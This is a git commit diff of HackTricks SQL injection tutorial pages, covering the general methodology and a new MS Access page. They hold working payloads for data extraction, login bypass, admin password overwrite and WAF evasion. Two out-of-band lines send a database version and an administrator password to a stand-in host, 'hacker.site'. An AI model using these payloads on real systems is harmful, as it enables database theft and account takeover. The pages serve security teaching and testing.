GitBook: [#3428] No subject

This commit is contained in:
CPol 2022-08-31 13:22:13 +00:00 committed by gitbook-bot
parent f5268633f3
commit 57d2025351
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
3 changed files with 284 additions and 60 deletions

View file

@ -496,7 +496,10 @@
* [SAML Basics](pentesting-web/saml-attacks/saml-basics.md) * [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
* [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md) * [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
* [SQL Injection](pentesting-web/sql-injection/README.md) * [SQL Injection](pentesting-web/sql-injection/README.md)
* [MS Access SQL Injection](pentesting-web/sql-injection/ms-access-sql-injection.md)
* [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md) * [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)
* [MySQL injection](pentesting-web/sql-injection/mysql-injection/README.md)
* [Mysql SSRF](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
* [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) * [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
* [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) * [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
* [dblink/lo\_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo\_import-data-exfiltration.md) * [dblink/lo\_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo\_import-data-exfiltration.md)
@ -504,8 +507,6 @@
* [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) * [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) * [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) * [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
* [MySQL injection](pentesting-web/sql-injection/mysql-injection/README.md)
* [Mysql SSRF](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md) * [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md) * [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md) * [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)

View file

@ -1,4 +1,4 @@
# SQL Injection
<details> <details>
@ -16,15 +16,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
</details> </details>
## What is SQL injection?
# What is SQL injection?
SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.\ SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.\
In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. (From [here](https://portswigger.net/web-security/sql-injection)). In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. (From [here](https://portswigger.net/web-security/sql-injection)).
> In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions. > In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.
# Entry point detection ## Entry point detection
You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**\ You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**\
These are some useful examples: These are some useful examples:
@ -46,7 +45,7 @@ Then, you need to know how to **fix the query so there isn't errors**. In order
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._ _Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
## **Comments** ### **Comments**
```sql ```sql
MySQL MySQL
@ -74,7 +73,7 @@ HQL
HQL does not support comments HQL does not support comments
``` ```
## Confirming with logical operations ### Confirming with logical operations
One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results.\ One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results.\
For example: if the GET parameter `?username=Peter` returns the same content as `?username=Peter' or '1'='1` then, you found a SQL injection. For example: if the GET parameter `?username=Peter` returns the same content as `?username=Peter' or '1'='1` then, you found a SQL injection.
@ -92,7 +91,7 @@ This word-list was created to try to **confirm SQLinjections** in the proposed w
{% file src="../../.gitbook/assets/sqli-logic.txt" %} {% file src="../../.gitbook/assets/sqli-logic.txt" %}
## Confirming with Timing ### Confirming with Timing
In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\ In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\
Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete: Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
@ -121,7 +120,7 @@ SQLite
In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_. In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_.
## Identifying Back-end ### Identifying Back-end
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones: The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones:
@ -159,15 +158,15 @@ Also, if you have access to the output of the query, you could make it **print t
A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example. A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
{% endhint %} {% endhint %}
# Exploiting Union Based ## Exploiting Union Based
## Detecting number of columns ### Detecting number of columns
If you can see the output of the query this is the best way to exploit it.\ If you can see the output of the query this is the best way to exploit it.\
First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\ First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\
Two methods are typically used for this purpose: Two methods are typically used for this purpose:
### Order/Group by #### Order/Group by
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
@ -187,7 +186,7 @@ Keep incrementing the number until you get a False response. Even though GROUP B
#-1' UNION SELECT 1,2,3--+ True #-1' UNION SELECT 1,2,3--+ True
``` ```
### UNION SELECT #### UNION SELECT
Select more and more null values until the query is correct: Select more and more null values until the query is correct:
@ -199,7 +198,7 @@ Select more and more null values until the query is correct:
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._ _You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
## Extract database names, table names and column names ### Extract database names, table names and column names
On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table: On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
@ -216,16 +215,16 @@ On the next examples we are going to retrieve the name of all the databases, the
_There is a different way to discover this data on every different database, but it's always the same methodology._ _There is a different way to discover this data on every different database, but it's always the same methodology._
# Exploiting Hidden Union Based ## Exploiting Hidden Union Based
If you can see the output of the query but you can't achieve a union based injection, you are dealing with a hidden union based injection. If you can see the output of the query but you can't achieve a union based injection, you are dealing with a hidden union based injection.\
In this situation you end up with a blind injection. To turn the blind injection to a union based one, you need to extract the query being executed on the backend. In this situation you end up with a blind injection. To turn the blind injection to a union based one, you need to extract the query being executed on the backend.\
You can do so by use of the blind injection and the default tables of your target DBMS. To learn about those default tables read the documentation of your target DBMS. You can do so by use of the blind injection and the default tables of your target DBMS. To learn about those default tables read the documentation of your target DBMS.\
After extracting the query, you need to adjust your payload accordingly, closing the original query safely. Then append a union query to your payload and start exploiting the newly obtained union based injection. After extracting the query, you need to adjust your payload accordingly, closing the original query safely. Then append a union query to your payload and start exploiting the newly obtained union based injection.
Complete Article: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f
# Exploiting Error based Complete Article: https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
## Exploiting Error based
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\ If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
Following a similar flow as in the Union Based exploitation you could manage to dump the DB. Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
@ -234,7 +233,7 @@ Following a similar flow as in the Union Based exploitation you could manage to
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
``` ```
# Exploiting Blind SQLi ## Exploiting Blind SQLi
In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\ In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\
In this case, you can abuse that behaviour to dump the database char by char: In this case, you can abuse that behaviour to dump the database char by char:
@ -243,7 +242,7 @@ In this case, you can abuse that behaviour to dump the database char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
``` ```
# Exploiting Error Blind SQLi ## Exploiting Error Blind SQLi
This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char: This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
@ -251,7 +250,7 @@ This is the **same case as before** but instead of distinguish between a true/fa
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
``` ```
# Exploiting Time Based SQLi ## Exploiting Time Based SQLi
In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing). In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing).
@ -259,13 +258,13 @@ In this case there **isn't** any way to **distinguish** the **response** of the
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
``` ```
# Stacked Queries ## Stacked Queries
You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay. You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
**Oracle** doesn't support **stacked queries.** MySQL**,** Microsoft **and** PostgreSQL support** them: `QUERY-1-HERE; QUERY-2-HERE` **Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE`
# Out of band Exploitation ## Out of band Exploitation
If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries: If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
@ -273,26 +272,29 @@ If **no-other** exploitation method **worked**, you may try to make the **databa
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
``` ```
## Out of band data exfiltration via XXE ### Out of band data exfiltration via XXE
```sql ```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- - a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
``` ```
# Automated Exploitation ## Automated Exploitation
Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap). Check the [SQLMap Cheetsheat](sqlmap/) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
# Tech specific info ## Tech specific info
We have already discussed all the ways to exploit a SQLinjection vulnerability. Find some more tricks database technology dependant in this book: We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/) * [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/) * [PostgreSQL](postgresql-injection/)
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
# Authentication bypass ## Authentication bypass
List to try to bypass the login functionality: List to try to bypass the login functionality:
@ -300,7 +302,7 @@ List to try to bypass the login functionality:
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md) [sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
## Authentication Bypass (Raw MD5) ### Authentication Bypass (Raw MD5)
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring. When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
@ -316,7 +318,7 @@ md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772) Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
## Hash Authentication Bypass ### Hash Authentication Bypass
```sql ```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
@ -329,7 +331,7 @@ _(This payloads are also included in the big list mentioned at the beginning of
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
## GBK Authentication Bypass ### GBK Authentication Bypass
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_) IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_)
@ -350,15 +352,15 @@ r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text print r.text
``` ```
## Polyglot injection (multicontext) ### Polyglot injection (multicontext)
```sql ```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
``` ```
# Insert Statement ## Insert Statement
## Modify password of existing object/user ### Modify password of existing object/user
To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something: To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something:
@ -366,7 +368,7 @@ To do so you should try to **create a new object named as the "master object"**
* Create a user named: **admin=** * Create a user named: **admin=**
* **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a** * **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
### SQL Truncation Attack #### SQL Truncation Attack
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password. If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
@ -374,9 +376,9 @@ The database will **check** if the introduced **username** **exists** inside the
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)__ _Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
## MySQL Insert time based checking ### MySQL Insert time based checking
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection. Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
@ -384,7 +386,7 @@ Add as much `','',''` as you consider to exit the VALUES statement. If delay is
name=','');WAITFOR%20DELAY%20'0:0:5'--%20- name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
``` ```
## ON DUPLICATE KEY UPDATE ### ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
@ -401,9 +403,9 @@ Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
``` ```
## Extract information ### Extract information
### Creating 2 accounts at the same time #### Creating 2 accounts at the same time
When trying to create a new user and username, password and email are needed: When trying to create a new user and username, password and email are needed:
@ -414,7 +416,7 @@ username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(selec
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
``` ```
### Using decimal or hexadecimal #### Using decimal or hexadecimal
With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything. With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
@ -441,7 +443,7 @@ Using **hex** and **replace** (and **substr**):
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
``` ```
# Routed SQL injection ## Routed SQL injection
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
@ -452,9 +454,9 @@ Example:
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
``` ```
# WAF Bypass ## WAF Bypass
## No spaces bypass ### No spaces bypass
No Space (%20) - bypass using whitespace alternatives No Space (%20) - bypass using whitespace alternatives
@ -479,7 +481,7 @@ No Whitespace - bypass using parenthesis
?id=(1)and(1)=(1)-- ?id=(1)and(1)=(1)--
``` ```
## No commas bypass ### No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN No Comma - bypass using OFFSET, FROM and JOIN
@ -489,7 +491,7 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
``` ```
## Generic Bypasses ### Generic Bypasses
Blacklist using keywords - bypass using uppercase/lowercase Blacklist using keywords - bypass using uppercase/lowercase
@ -509,7 +511,7 @@ OR -> || -> %7C%7C
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
``` ```
## Scientific Notation WAF bypass ### Scientific Notation WAF bypass
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it: Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
@ -520,7 +522,7 @@ Basically you can use the scientific notation in unexpected ways for the WAF to
' or 1.e('')= ' or 1.e('')=
``` ```
## Bypass Column Names Restriction ### Bypass Column Names Restriction
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag` First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
@ -540,20 +542,19 @@ Or using a **comma bypass**:
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
## WAF bypass suggester tools ### WAF bypass suggester tools
{% embed url="https://github.com/m4ll0k/Atlas" %} {% embed url="https://github.com/m4ll0k/Atlas" %}
# Other Guides ## Other Guides
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) * [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
# Brute-Force Detection List ## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
<details> <details>
<summary><strong>Support HackTricks and get benefits!</strong></summary> <summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -569,5 +570,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details> </details>

View file

@ -0,0 +1,224 @@
# MS Access SQL Injection
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
## Online Playground
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DB Limitations
### String Concatenation
String concatenation is possible with `& (%26)` and `+ (%2b)` characters.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Comments
There are no comments in MS access, but apparently it's possible to remove the last of a query with a NULL char:
```sql
1' union select 1,2 from table%00
```
If this is not working you could always fix the syntax of the query:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
They aren't supported.
### LIMIT
The **`LIMIT`** operator **isn't implemented**. However, it's possible to limit SELECT query results to the **first N table rows using the `TOP` operator**. `TOP` accepts as argument an integer, representing the number of rows to be returned.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNION Queries/Sub queries
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
Therefore, you need to know a **valid table name**.
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
{% hint style="warning" %}
This will allow you to exfiltrate values of the current table without needing to know the name of the table.
{% endhint %}
**MS Access** allows **weird syntax** such as **`'1'=2='3'='asd'=false`**. As usually the SQL injection will be inside a **`WHERE`** clause we can abuse that.
Imagine you have a SQLi in a MS Access database and you know (or guessed) that one **column name is username**, and thats the field you want to **exfiltrate**. You could check the different responses of the web app when the chaining equals technique is used and potentially exfiltrate content with a **boolean injection** using the **`Mid`** function to get substrings.
```sql
'=(Mid(username,1,3)='adm')='
```
